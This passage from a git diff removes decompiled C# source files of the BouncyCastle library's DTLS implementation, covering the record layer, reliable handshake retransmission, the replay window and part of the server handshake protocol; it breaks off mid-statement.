readonly TlsContext mContext; - - private readonly TlsPeer mPeer; - - private readonly ByteQueue mRecordQueue = new ByteQueue(); - - private volatile bool mClosed = false; - - private volatile bool mFailed = false; - - private volatile ProtocolVersion mReadVersion = null; - - private volatile ProtocolVersion mWriteVersion = null; - - private volatile bool mInHandshake; - - private volatile int mPlaintextLimit; - - private DtlsEpoch mCurrentEpoch; - - private DtlsEpoch mPendingEpoch; - - private DtlsEpoch mReadEpoch; - - private DtlsEpoch mWriteEpoch; - - private DtlsHandshakeRetransmit mRetransmit = null; - - private DtlsEpoch mRetransmitEpoch = null; - - private long mRetransmitExpiry = 0L; - - internal virtual int ReadEpoch => mReadEpoch.Epoch; - - internal virtual ProtocolVersion ReadVersion - { - get - { - return mReadVersion; - } - set - { - mReadVersion = value; - } - } - - internal DtlsRecordLayer(DatagramTransport transport, TlsContext context, TlsPeer peer, byte contentType) - { - mTransport = transport; - mContext = context; - mPeer = peer; - mInHandshake = true; - mCurrentEpoch = new DtlsEpoch(0, new TlsNullCipher(context)); - mPendingEpoch = null; - mReadEpoch = mCurrentEpoch; - mWriteEpoch = mCurrentEpoch; - SetPlaintextLimit(16384); - } - - internal virtual void SetPlaintextLimit(int plaintextLimit) - { - mPlaintextLimit = plaintextLimit; - } - - internal virtual void SetWriteVersion(ProtocolVersion writeVersion) - { - mWriteVersion = writeVersion; - } - - internal virtual void InitPendingEpoch(TlsCipher pendingCipher) - { - if (mPendingEpoch != null) - { - throw new InvalidOperationException(); - } - mPendingEpoch = new DtlsEpoch(mWriteEpoch.Epoch + 1, pendingCipher); - } - - internal virtual void HandshakeSuccessful(DtlsHandshakeRetransmit retransmit) - { - if (mReadEpoch == mCurrentEpoch || mWriteEpoch == mCurrentEpoch) - { - throw new InvalidOperationException(); - } - if (retransmit != null) - { - mRetransmit = retransmit; - mRetransmitEpoch = mCurrentEpoch; - mRetransmitExpiry = DateTimeUtilities.CurrentUnixMs() + 240000; - } - mInHandshake = false; - mCurrentEpoch = mPendingEpoch; - mPendingEpoch = null; - } - - internal virtual void ResetWriteEpoch() - { - if (mRetransmitEpoch != null) - { - mWriteEpoch = mRetransmitEpoch; - } - else - { - mWriteEpoch = mCurrentEpoch; - } - } - - public virtual int GetReceiveLimit() - { - return System.Math.Min(mPlaintextLimit, mReadEpoch.Cipher.GetPlaintextLimit(mTransport.GetReceiveLimit() - 13)); - } - - public virtual int GetSendLimit() - { - return System.Math.Min(mPlaintextLimit, mWriteEpoch.Cipher.GetPlaintextLimit(mTransport.GetSendLimit() - 13)); - } - - public virtual int Receive(byte[] buf, int off, int len, int waitMillis) - { - byte[] array = null; - while (true) - { - int num = System.Math.Min(len, GetReceiveLimit()) + 13; - if (array == null || array.Length < num) - { - array = new byte[num]; - } - try - { - if (mRetransmit != null && DateTimeUtilities.CurrentUnixMs() > mRetransmitExpiry) - { - mRetransmit = null; - mRetransmitEpoch = null; - } - int num2 = ReceiveRecord(array, 0, num, waitMillis); - if (num2 < 0) - { - return num2; - } - if (num2 < 13) - { - continue; - } - int num3 = TlsUtilities.ReadUint16(array, 11); - if (num2 != num3 + 13) - { - continue; - } - byte b = TlsUtilities.ReadUint8(array, 0); - switch (b) - { - case 20: - case 21: - case 22: - case 23: - case 24: - { - int num4 = TlsUtilities.ReadUint16(array, 3); - DtlsEpoch dtlsEpoch = null; - if (num4 == mReadEpoch.Epoch) - { - dtlsEpoch = mReadEpoch; - } - else if (b == 22 && mRetransmitEpoch != null && num4 == mRetransmitEpoch.Epoch) - { - dtlsEpoch = mRetransmitEpoch; - } - if (dtlsEpoch == null) - { - break; - } - long num5 = TlsUtilities.ReadUint48(array, 5); - if (dtlsEpoch.ReplayWindow.ShouldDiscard(num5)) - { - break; - } - ProtocolVersion protocolVersion = TlsUtilities.ReadVersion(array, 1); - if (!protocolVersion.IsDtls || (mReadVersion != null && !mReadVersion.Equals(protocolVersion))) - { - break; - } - byte[] array2 = dtlsEpoch.Cipher.DecodeCiphertext(GetMacSequenceNumber(dtlsEpoch.Epoch, num5), b, array, 13, num2 - 13); - dtlsEpoch.ReplayWindow.ReportAuthenticated(num5); - if (array2.Length > mPlaintextLimit) - { - break; - } - if (mReadVersion == null) - { - mReadVersion = protocolVersion; - } - switch (b) - { - case 21: - if (array2.Length == 2) - { - byte b2 = array2[0]; - byte b3 = array2[1]; - mPeer.NotifyAlertReceived(b2, b3); - if (b2 == 2) - { - Failed(); - throw new TlsFatalAlert(b3); - } - if (b3 == 0) - { - CloseTransport(); - } - } - goto end_IL_0088; - case 23: - if (!mInHandshake) - { - break; - } - goto end_IL_0088; - case 20: - { - for (int i = 0; i < array2.Length; i++) - { - byte b4 = TlsUtilities.ReadUint8(array2, i); - if (b4 == 1 && mPendingEpoch != null) - { - mReadEpoch = mPendingEpoch; - } - } - goto end_IL_0088; - } - case 22: - if (mInHandshake) - { - break; - } - if (mRetransmit != null) - { - mRetransmit.ReceivedHandshakeRecord(num4, array2, 0, array2.Length); - } - goto end_IL_0088; - case 24: - goto end_IL_0088; - } - if (!mInHandshake && mRetransmit != null) - { - mRetransmit = null; - mRetransmitEpoch = null; - } - Array.Copy(array2, 0, buf, off, array2.Length); - return array2.Length; - } - end_IL_0088: - break; - } - } - catch (IOException ex) - { - throw ex; - } - } - } - - public virtual void Send(byte[] buf, int off, int len) - { - byte contentType = 23; - if (mInHandshake || mWriteEpoch == mRetransmitEpoch) - { - contentType = 22; - byte b = TlsUtilities.ReadUint8(buf, off); - if (b == 20) - { - DtlsEpoch dtlsEpoch = null; - if (mInHandshake) - { - dtlsEpoch = mPendingEpoch; - } - else if (mWriteEpoch == mRetransmitEpoch) - { - dtlsEpoch = mCurrentEpoch; - } - if (dtlsEpoch == null) - { - throw new InvalidOperationException(); - } - byte[] array = new byte[1] { 1 }; - SendRecord(20, array, 0, array.Length); - mWriteEpoch = dtlsEpoch; - } - } - SendRecord(contentType, buf, off, len); - } - - public virtual void Close() - { - if (!mClosed) - { - if (mInHandshake) - { - Warn(90, "User canceled handshake"); - } - CloseTransport(); - } - } - - internal virtual void Failed() - { - if (!mClosed) - { - mFailed = true; - CloseTransport(); - } - } - - internal virtual void Fail(byte alertDescription) - { - if (!mClosed) - { - try - { - RaiseAlert(2, alertDescription, null, null); - } - catch (Exception) - { - } - mFailed = true; - CloseTransport(); - } - } - - internal virtual void Warn(byte alertDescription, string message) - { - RaiseAlert(1, alertDescription, message, null); - } - - private void CloseTransport() - { - if (mClosed) - { - return; - } - try - { - if (!mFailed) - { - Warn(0, null); - } - mTransport.Close(); - } - catch (Exception) - { - } - mClosed = true; - } - - private void RaiseAlert(byte alertLevel, byte alertDescription, string message, Exception cause) - { - mPeer.NotifyAlertRaised(alertLevel, alertDescription, message, cause); - SendRecord(21, new byte[2] { alertLevel, alertDescription }, 0, 2); - } - - private int ReceiveRecord(byte[] buf, int off, int len, int waitMillis) - { - if (mRecordQueue.Available > 0) - { - int num = 0; - if (mRecordQueue.Available >= 13) - { - byte[] buf2 = new byte[2]; - mRecordQueue.Read(buf2, 0, 2, 11); - num = TlsUtilities.ReadUint16(buf2, 0); - } - int num2 = System.Math.Min(mRecordQueue.Available, 13 + num); - mRecordQueue.RemoveData(buf, off, num2, 0); - return num2; - } - int num3 = mTransport.Receive(buf, off, len, waitMillis); - if (num3 >= 13) - { - int num4 = TlsUtilities.ReadUint16(buf, off + 11); - int num5 = 13 + num4; - if (num3 > num5) - { - mRecordQueue.AddData(buf, off + num5, num3 - num5); - num3 = num5; - } - } - return num3; - } - - private void SendRecord(byte contentType, byte[] buf, int off, int len) - { - if (mWriteVersion != null) - { - if (len > mPlaintextLimit) - { - throw new TlsFatalAlert(80); - } - if (len < 1 && contentType != 23) - { - throw new TlsFatalAlert(80); - } - int epoch = mWriteEpoch.Epoch; - long num = mWriteEpoch.AllocateSequenceNumber(); - byte[] array = mWriteEpoch.Cipher.EncodePlaintext(GetMacSequenceNumber(epoch, num), contentType, buf, off, len); - byte[] array2 = new byte[array.Length + 13]; - TlsUtilities.WriteUint8(contentType, array2, 0); - ProtocolVersion version = mWriteVersion; - TlsUtilities.WriteVersion(version, array2, 1); - TlsUtilities.WriteUint16(epoch, array2, 3); - TlsUtilities.WriteUint48(num, array2, 5); - TlsUtilities.WriteUint16(array.Length, array2, 11); - Array.Copy(array, 0, array2, 13, array.Length); - mTransport.Send(array2, 0, array2.Length); - } - } - - private static long GetMacSequenceNumber(int epoch, long sequence_number) - { - return ((epoch & 0xFFFFFFFFu) << 48) | sequence_number; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReliableHandshake.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReliableHandshake.cs deleted file mode 100644 index 09d0241..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReliableHandshake.cs +++ /dev/null @@ -1,367 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class DtlsReliableHandshake -{ - internal class Message - { - private readonly int mMessageSeq; - - private readonly byte mMsgType; - - private readonly byte[] mBody; - - public int Seq => mMessageSeq; - - public byte Type => mMsgType; - - public byte[] Body => mBody; - - internal Message(int message_seq, byte msg_type, byte[] body) - { - mMessageSeq = message_seq; - mMsgType = msg_type; - mBody = body; - } - } - - internal class RecordLayerBuffer : MemoryStream - { - internal RecordLayerBuffer(int size) - : base(size) - { - } - - internal void SendToRecordLayer(DtlsRecordLayer recordLayer) - { - byte[] buffer = GetBuffer(); - int len = (int)Length; - recordLayer.Send(buffer, 0, len); - Platform.Dispose(this); - } - } - - internal class Retransmit : DtlsHandshakeRetransmit - { - private readonly DtlsReliableHandshake mOuter; - - internal Retransmit(DtlsReliableHandshake outer) - { - mOuter = outer; - } - - public void ReceivedHandshakeRecord(int epoch, byte[] buf, int off, int len) - { - mOuter.ProcessRecord(0, epoch, buf, off, len); - } - } - - private const int MaxReceiveAhead = 16; - - private const int MessageHeaderLength = 12; - - private readonly DtlsRecordLayer mRecordLayer; - - private TlsHandshakeHash mHandshakeHash; - - private IDictionary mCurrentInboundFlight = Platform.CreateHashtable(); - - private IDictionary mPreviousInboundFlight = null; - - private IList mOutboundFlight = Platform.CreateArrayList(); - - private bool mSending = true; - - private int mMessageSeq = 0; - - private int mNextReceiveSeq = 0; - - internal TlsHandshakeHash HandshakeHash => mHandshakeHash; - - internal DtlsReliableHandshake(TlsContext context, DtlsRecordLayer transport) - { - mRecordLayer = transport; - mHandshakeHash = new DeferredHash(); - mHandshakeHash.Init(context); - } - - internal void NotifyHelloComplete() - { - mHandshakeHash = mHandshakeHash.NotifyPrfDetermined(); - } - - internal TlsHandshakeHash PrepareToFinish() - { - TlsHandshakeHash result = mHandshakeHash; - mHandshakeHash = mHandshakeHash.StopTracking(); - return result; - } - - internal void SendMessage(byte msg_type, byte[] body) - { - TlsUtilities.CheckUint24(body.Length); - if (!mSending) - { - CheckInboundFlight(); - mSending = true; - mOutboundFlight.Clear(); - } - Message message = new Message(mMessageSeq++, msg_type, body); - mOutboundFlight.Add(message); - WriteMessage(message); - UpdateHandshakeMessagesDigest(message); - } - - internal byte[] ReceiveMessageBody(byte msg_type) - { - Message message = ReceiveMessage(); - if (message.Type != msg_type) - { - throw new TlsFatalAlert(10); - } - return message.Body; - } - - internal Message ReceiveMessage() - { - if (mSending) - { - mSending = false; - PrepareInboundFlight(Platform.CreateHashtable()); - } - byte[] array = null; - int num = 1000; - while (true) - { - try - { - while (true) - { - Message pendingMessage = GetPendingMessage(); - if (pendingMessage != null) - { - return pendingMessage; - } - int receiveLimit = mRecordLayer.GetReceiveLimit(); - if (array == null || array.Length < receiveLimit) - { - array = new byte[receiveLimit]; - } - int num2 = mRecordLayer.Receive(array, 0, receiveLimit, num); - if (num2 >= 0) - { - if (ProcessRecord(16, mRecordLayer.ReadEpoch, array, 0, num2)) - { - num = BackOff(num); - } - continue; - } - break; - } - } - catch (IOException) - { - } - ResendOutboundFlight(); - num = BackOff(num); - } - } - - internal void Finish() - { - DtlsHandshakeRetransmit retransmit = null; - if (!mSending) - { - CheckInboundFlight(); - } - else - { - PrepareInboundFlight(null); - if (mPreviousInboundFlight != null) - { - retransmit = new Retransmit(this); - } - } - mRecordLayer.HandshakeSuccessful(retransmit); - } - - internal void ResetHandshakeMessagesDigest() - { - mHandshakeHash.Reset(); - } - - private int BackOff(int timeoutMillis) - { - return System.Math.Min(timeoutMillis * 2, 60000); - } - - private void CheckInboundFlight() - { - foreach (object key in mCurrentInboundFlight.Keys) - { - int num = (int)key; - _ = mNextReceiveSeq; - } - } - - private Message GetPendingMessage() - { - DtlsReassembler dtlsReassembler = (DtlsReassembler)mCurrentInboundFlight[mNextReceiveSeq]; - if (dtlsReassembler != null) - { - byte[] bodyIfComplete = dtlsReassembler.GetBodyIfComplete(); - if (bodyIfComplete != null) - { - mPreviousInboundFlight = null; - return UpdateHandshakeMessagesDigest(new Message(mNextReceiveSeq++, dtlsReassembler.MsgType, bodyIfComplete)); - } - } - return null; - } - - private void PrepareInboundFlight(IDictionary nextFlight) - { - ResetAll(mCurrentInboundFlight); - mPreviousInboundFlight = mCurrentInboundFlight; - mCurrentInboundFlight = nextFlight; - } - - private bool ProcessRecord(int windowSize, int epoch, byte[] buf, int off, int len) - { - bool flag = false; - while (len >= 12) - { - int num = TlsUtilities.ReadUint24(buf, off + 9); - int num2 = num + 12; - if (len < num2) - { - break; - } - int num3 = TlsUtilities.ReadUint24(buf, off + 1); - int num4 = TlsUtilities.ReadUint24(buf, off + 6); - if (num4 + num > num3) - { - break; - } - byte b = TlsUtilities.ReadUint8(buf, off); - int num5 = ((b == 20) ? 1 : 0); - if (epoch != num5) - { - break; - } - int num6 = TlsUtilities.ReadUint16(buf, off + 4); - if (num6 < mNextReceiveSeq + windowSize) - { - if (num6 >= mNextReceiveSeq) - { - DtlsReassembler dtlsReassembler = (DtlsReassembler)mCurrentInboundFlight[num6]; - if (dtlsReassembler == null) - { - dtlsReassembler = new DtlsReassembler(b, num3); - mCurrentInboundFlight[num6] = dtlsReassembler; - } - dtlsReassembler.ContributeFragment(b, num3, buf, off + 12, num4, num); - } - else if (mPreviousInboundFlight != null) - { - DtlsReassembler dtlsReassembler2 = (DtlsReassembler)mPreviousInboundFlight[num6]; - if (dtlsReassembler2 != null) - { - dtlsReassembler2.ContributeFragment(b, num3, buf, off + 12, num4, num); - flag = true; - } - } - } - off += num2; - len -= num2; - } - bool flag2 = flag && CheckAll(mPreviousInboundFlight); - if (flag2) - { - ResendOutboundFlight(); - ResetAll(mPreviousInboundFlight); - } - return flag2; - } - - private void ResendOutboundFlight() - { - mRecordLayer.ResetWriteEpoch(); - for (int i = 0; i < mOutboundFlight.Count; i++) - { - WriteMessage((Message)mOutboundFlight[i]); - } - } - - private Message UpdateHandshakeMessagesDigest(Message message) - { - if (message.Type != 0) - { - byte[] body = message.Body; - byte[] array = new byte[12]; - TlsUtilities.WriteUint8(message.Type, array, 0); - TlsUtilities.WriteUint24(body.Length, array, 1); - TlsUtilities.WriteUint16(message.Seq, array, 4); - TlsUtilities.WriteUint24(0, array, 6); - TlsUtilities.WriteUint24(body.Length, array, 9); - mHandshakeHash.BlockUpdate(array, 0, array.Length); - mHandshakeHash.BlockUpdate(body, 0, body.Length); - } - return message; - } - - private void WriteMessage(Message message) - { - int sendLimit = mRecordLayer.GetSendLimit(); - int num = sendLimit - 12; - if (num < 1) - { - throw new TlsFatalAlert(80); - } - int num2 = message.Body.Length; - int num3 = 0; - do - { - int num4 = System.Math.Min(num2 - num3, num); - WriteHandshakeFragment(message, num3, num4); - num3 += num4; - } - while (num3 < num2); - } - - private void WriteHandshakeFragment(Message message, int fragment_offset, int fragment_length) - { - RecordLayerBuffer recordLayerBuffer = new RecordLayerBuffer(12 + fragment_length); - TlsUtilities.WriteUint8(message.Type, recordLayerBuffer); - TlsUtilities.WriteUint24(message.Body.Length, recordLayerBuffer); - TlsUtilities.WriteUint16(message.Seq, recordLayerBuffer); - TlsUtilities.WriteUint24(fragment_offset, recordLayerBuffer); - TlsUtilities.WriteUint24(fragment_length, recordLayerBuffer); - recordLayerBuffer.Write(message.Body, fragment_offset, fragment_length); - recordLayerBuffer.SendToRecordLayer(mRecordLayer); - } - - private static bool CheckAll(IDictionary inboundFlight) - { - foreach (DtlsReassembler value in inboundFlight.Values) - { - if (value.GetBodyIfComplete() == null) - { - return false; - } - } - return true; - } - - private static void ResetAll(IDictionary inboundFlight) - { - foreach (DtlsReassembler value in inboundFlight.Values) - { - value.Reset(); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReplayWindow.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReplayWindow.cs deleted file mode 100644 index 3d8a98f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReplayWindow.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class DtlsReplayWindow -{ - private const long VALID_SEQ_MASK = 281474976710655L; - - private const long WINDOW_SIZE = 64L; - - private long mLatestConfirmedSeq = -1L; - - private long mBitmap = 0L; - - internal bool ShouldDiscard(long seq) - { - if ((seq & 0xFFFFFFFFFFFFL) != seq) - { - return true; - } - if (seq <= mLatestConfirmedSeq) - { - long num = mLatestConfirmedSeq - seq; - if (num >= 64) - { - return true; - } - if ((mBitmap & (1L << (int)num)) != 0) - { - return true; - } - } - return false; - } - - internal void ReportAuthenticated(long seq) - { - if ((seq & 0xFFFFFFFFFFFFL) != seq) - { - throw new ArgumentException("out of range", "seq"); - } - if (seq <= mLatestConfirmedSeq) - { - long num = mLatestConfirmedSeq - seq; - if (num < 64) - { - mBitmap |= 1L << (int)num; - } - return; - } - long num2 = seq - mLatestConfirmedSeq; - if (num2 >= 64) - { - mBitmap = 1L; - } - else - { - mBitmap <<= (int)num2; - mBitmap |= 1L; - } - mLatestConfirmedSeq = seq; - } - - internal void Reset() - { - mLatestConfirmedSeq = -1L; - mBitmap = 0L; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsServerProtocol.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsServerProtocol.cs deleted file mode 100644 index 32eb77b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsServerProtocol.cs +++ /dev/null @@ -1,495 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DtlsServerProtocol : DtlsProtocol -{ - protected internal class ServerHandshakeState - { - internal TlsServer server = null; - - internal TlsServerContextImpl serverContext = null; - - internal TlsSession tlsSession = null; - - internal SessionParameters sessionParameters = null; - - internal SessionParameters.Builder sessionParametersBuilder = null; - - internal int[] offeredCipherSuites = null; - - internal byte[] offeredCompressionMethods = null; - - internal IDictionary clientExtensions = null; - - internal IDictionary serverExtensions = null; - - internal bool resumedSession = false; - - internal bool secure_renegotiation = false; - - internal bool allowCertificateStatus = false; - - internal bool expectSessionTicket = false; - - internal TlsKeyExchange keyExchange = null; - - internal TlsCredentials serverCredentials = null; - - internal CertificateRequest certificateRequest = null; - - internal short clientCertificateType = -1; - - internal Certificate clientCertificate = null; - } - - protected bool mVerifyRequests = true; - - public virtual bool VerifyRequests - { - get - { - return mVerifyRequests; - } - set - { - mVerifyRequests = value; - } - } - - public DtlsServerProtocol(SecureRandom secureRandom) - : base(secureRandom) - { - } - - public virtual DtlsTransport Accept(TlsServer server, DatagramTransport transport) - { - if (server == null) - { - throw new ArgumentNullException("server"); - } - if (transport == null) - { - throw new ArgumentNullException("transport"); - } - SecurityParameters securityParameters = new SecurityParameters(); - securityParameters.entity = 0; - ServerHandshakeState serverHandshakeState = new ServerHandshakeState(); - serverHandshakeState.server = server; - serverHandshakeState.serverContext = new TlsServerContextImpl(mSecureRandom, securityParameters); - securityParameters.serverRandom = TlsProtocol.CreateRandomBlock(server.ShouldUseGmtUnixTime(), serverHandshakeState.serverContext.NonceRandomGenerator); - server.Init(serverHandshakeState.serverContext); - DtlsRecordLayer recordLayer = new DtlsRecordLayer(transport, serverHandshakeState.serverContext, server, 22); - try - { - return ServerHandshake(serverHandshakeState, recordLayer); - } - catch (TlsFatalAlert tlsFatalAlert) - { - AbortServerHandshake(serverHandshakeState, recordLayer, tlsFatalAlert.AlertDescription); - throw tlsFatalAlert; - } - catch (IOException ex) - { - AbortServerHandshake(serverHandshakeState, recordLayer, 80); - throw ex; - } - catch (Exception alertCause) - { - AbortServerHandshake(serverHandshakeState, recordLayer, 80); - throw new TlsFatalAlert(80, alertCause); - } - finally - { - securityParameters.Clear(); - } - } - - internal virtual void AbortServerHandshake(ServerHandshakeState state, DtlsRecordLayer recordLayer, byte alertDescription) - { - recordLayer.Fail(alertDescription); - InvalidateSession(state); - } - - internal virtual DtlsTransport ServerHandshake(ServerHandshakeState state, DtlsRecordLayer recordLayer) - { - SecurityParameters securityParameters = state.serverContext.SecurityParameters; - DtlsReliableHandshake dtlsReliableHandshake = new DtlsReliableHandshake(state.serverContext, recordLayer); - DtlsReliableHandshake.Message message = dtlsReliableHandshake.ReceiveMessage(); - if (message.Type == 1) - { - ProcessClientHello(state, message.Body); - byte[] body = GenerateServerHello(state); - DtlsProtocol.ApplyMaxFragmentLengthExtension(recordLayer, securityParameters.maxFragmentLength); - ProtocolVersion writeVersion = (recordLayer.ReadVersion = state.serverContext.ServerVersion); - recordLayer.SetWriteVersion(writeVersion); - dtlsReliableHandshake.SendMessage(2, body); - dtlsReliableHandshake.NotifyHelloComplete(); - IList serverSupplementalData = state.server.GetServerSupplementalData(); - if (serverSupplementalData != null) - { - byte[] body2 = DtlsProtocol.GenerateSupplementalData(serverSupplementalData); - dtlsReliableHandshake.SendMessage(23, body2); - } - state.keyExchange = state.server.GetKeyExchange(); - state.keyExchange.Init(state.serverContext); - state.serverCredentials = state.server.GetCredentials(); - Certificate certificate = null; - if (state.serverCredentials == null) - { - state.keyExchange.SkipServerCredentials(); - } - else - { - state.keyExchange.ProcessServerCredentials(state.serverCredentials); - certificate = state.serverCredentials.Certificate; - byte[] body3 = DtlsProtocol.GenerateCertificate(certificate); - dtlsReliableHandshake.SendMessage(11, body3); - } - if (certificate == null || certificate.IsEmpty) - { - state.allowCertificateStatus = false; - } - if (state.allowCertificateStatus) - { - CertificateStatus certificateStatus = state.server.GetCertificateStatus(); - if (certificateStatus != null) - { - byte[] body4 = GenerateCertificateStatus(state, certificateStatus); - dtlsReliableHandshake.SendMessage(22, body4); - } - } - byte[] array = state.keyExchange.GenerateServerKeyExchange(); - if (array != null) - { - dtlsReliableHandshake.SendMessage(12, array); - } - if (state.serverCredentials != null) - { - state.certificateRequest = state.server.GetCertificateRequest(); - if (state.certificateRequest != null) - { - if (TlsUtilities.IsTlsV12(state.serverContext) != (state.certificateRequest.SupportedSignatureAlgorithms != null)) - { - throw new TlsFatalAlert(80); - } - state.keyExchange.ValidateCertificateRequest(state.certificateRequest); - byte[] body5 = GenerateCertificateRequest(state, state.certificateRequest); - dtlsReliableHandshake.SendMessage(13, body5); - TlsUtilities.TrackHashAlgorithms(dtlsReliableHandshake.HandshakeHash, state.certificateRequest.SupportedSignatureAlgorithms); - } - } - dtlsReliableHandshake.SendMessage(14, TlsUtilities.EmptyBytes); - dtlsReliableHandshake.HandshakeHash.SealHashAlgorithms(); - message = dtlsReliableHandshake.ReceiveMessage(); - if (message.Type == 23) - { - ProcessClientSupplementalData(state, message.Body); - message = dtlsReliableHandshake.ReceiveMessage(); - } - else - { - state.server.ProcessClientSupplementalData(null); - } - if (state.certificateRequest == null) - { - state.keyExchange.SkipClientCredentials(); - } - else if (message.Type == 11) - { - ProcessClientCertificate(state, message.Body); - message = dtlsReliableHandshake.ReceiveMessage(); - } - else - { - if (TlsUtilities.IsTlsV12(state.serverContext)) - { - throw new TlsFatalAlert(10); - } - NotifyClientCertificate(state, Certificate.EmptyChain); - } - if (message.Type == 16) - { - ProcessClientKeyExchange(state, message.Body); - TlsHandshakeHash tlsHandshakeHash = dtlsReliableHandshake.PrepareToFinish(); - securityParameters.sessionHash = TlsProtocol.GetCurrentPrfHash(state.serverContext, tlsHandshakeHash, null); - TlsProtocol.EstablishMasterSecret(state.serverContext, state.keyExchange); - recordLayer.InitPendingEpoch(state.server.GetCipher()); - if (ExpectCertificateVerifyMessage(state)) - { - byte[] body6 = dtlsReliableHandshake.ReceiveMessageBody(15); - ProcessCertificateVerify(state, body6, tlsHandshakeHash); - } - byte[] expected_verify_data = TlsUtilities.CalculateVerifyData(state.serverContext, "client finished", TlsProtocol.GetCurrentPrfHash(state.serverContext, dtlsReliableHandshake.HandshakeHash, null)); - ProcessFinished(dtlsReliableHandshake.ReceiveMessageBody(20), expected_verify_data); - if (state.expectSessionTicket) - { - NewSessionTicket newSessionTicket = state.server.GetNewSessionTicket(); - byte[] body7 = GenerateNewSessionTicket(state, newSessionTicket); - dtlsReliableHandshake.SendMessage(4, body7); - } - byte[] body8 = TlsUtilities.CalculateVerifyData(state.serverContext, "server finished", TlsProtocol.GetCurrentPrfHash(state.serverContext, dtlsReliableHandshake.HandshakeHash, null)); - dtlsReliableHandshake.SendMessage(20, body8); - dtlsReliableHandshake.Finish(); - state.server.NotifyHandshakeComplete(); - return new DtlsTransport(recordLayer); - } - throw new TlsFatalAlert(10); - } - throw new TlsFatalAlert(10); - } - - protected virtual void InvalidateSession(ServerHandshakeState state) - { - if (state.sessionParameters != null) - { - state.sessionParameters.Clear(); - state.sessionParameters = null; - } - if (state.tlsSession != null) - { - state.tlsSession.Invalidate(); - state.tlsSession = null; - } - } - - protected virtual byte[] GenerateCertificateRequest(ServerHandshakeState state, CertificateRequest certificateRequest) - { - MemoryStream memoryStream = new MemoryStream(); - certificateRequest.Encode(memoryStream); - return memoryStream.ToArray(); - } - - protected virtual byte[] GenerateCertificateStatus(ServerHandshakeState state, CertificateStatus certificateStatus) - { - MemoryStream memoryStream = new MemoryStream(); - certificateStatus.Encode(memoryStream); - return memoryStream.ToArray(); - } - - protected virtual byte[] GenerateNewSessionTicket(ServerHandshakeState state, NewSessionTicket newSessionTicket) - { - MemoryStream memoryStream = new MemoryStream(); - newSessionTicket.Encode(memoryStream); - return memoryStream.ToArray(); - } - - protected virtual byte[] GenerateServerHello(ServerHandshakeState state) - { - SecurityParameters securityParameters = state.serverContext.SecurityParameters; - MemoryStream memoryStream = new MemoryStream(); - ProtocolVersion serverVersion = state.server.GetServerVersion(); - if (!serverVersion.IsEqualOrEarlierVersionOf(state.serverContext.ClientVersion)) - { - throw new TlsFatalAlert(80); - } - state.serverContext.SetServerVersion(serverVersion); - TlsUtilities.WriteVersion(state.serverContext.ServerVersion, memoryStream); - memoryStream.Write(securityParameters.ServerRandom, 0, securityParameters.ServerRandom.Length); - TlsUtilities.WriteOpaque8(TlsUtilities.EmptyBytes, memoryStream); - int selectedCipherSuite = state.server.GetSelectedCipherSuite(); - if (!Arrays.Contains(state.offeredCipherSuites, selectedCipherSuite) || selectedCipherSuite == 0 || CipherSuite.IsScsv(selectedCipherSuite) || !TlsUtilities.IsValidCipherSuiteForVersion(selectedCipherSuite, state.serverContext.ServerVersion)) - { - throw new TlsFatalAlert(80); - } - DtlsProtocol.ValidateSelectedCipherSuite(selectedCipherSuite, 80); - securityParameters.cipherSuite = selectedCipherSuite; - byte selectedCompressionMethod = state.server.GetSelectedCompressionMethod(); - if (!Arrays.Contains(state.offeredCompressionMethods, selectedCompressionMethod)) - { - throw new TlsFatalAlert(80); - } - securityParameters.compressionAlgorithm = selectedCompressionMethod; - TlsUtilities.WriteUint16(selectedCipherSuite, memoryStream); - TlsUtilities.WriteUint8(selectedCompressionMethod, memoryStream); - state.serverExtensions = TlsExtensionsUtilities.EnsureExtensionsInitialised(state.server.GetServerExtensions()); - if (state.secure_renegotiation) - { - byte[] extensionData = TlsUtilities.GetExtensionData(state.serverExtensions, 65281); - if (null == extensionData) - { - state.serverExtensions[65281] = TlsProtocol.CreateRenegotiationInfo(TlsUtilities.EmptyBytes); - } - } - if (securityParameters.IsExtendedMasterSecret) - { - TlsExtensionsUtilities.AddExtendedMasterSecretExtension(state.serverExtensions); - } - if (state.serverExtensions.Count > 0) - { - securityParameters.encryptThenMac = TlsExtensionsUtilities.HasEncryptThenMacExtension(state.serverExtensions); - securityParameters.maxFragmentLength = DtlsProtocol.EvaluateMaxFragmentLengthExtension(state.resumedSession, state.clientExtensions, state.serverExtensions, 80); - securityParameters.truncatedHMac = TlsExtensionsUtilities.HasTruncatedHMacExtension(state.serverExtensions); - state.allowCertificateStatus = !state.resumedSession && TlsUtilities.HasExpectedEmptyExtensionData(state.serverExtensions, 5, 80); - state.expectSessionTicket = !state.resumedSession && TlsUtilities.HasExpectedEmptyExtensionData(state.serverExtensions, 35, 80); - TlsProtocol.WriteExtensions(memoryStream, state.serverExtensions); - } - securityParameters.prfAlgorithm = TlsProtocol.GetPrfAlgorithm(state.serverContext, securityParameters.CipherSuite); - securityParameters.verifyDataLength = 12; - return memoryStream.ToArray(); - } - - protected virtual void NotifyClientCertificate(ServerHandshakeState state, Certificate clientCertificate) - { - if (state.certificateRequest == null) - { - throw new InvalidOperationException(); - } - if (state.clientCertificate != null) - { - throw new TlsFatalAlert(10); - } - state.clientCertificate = 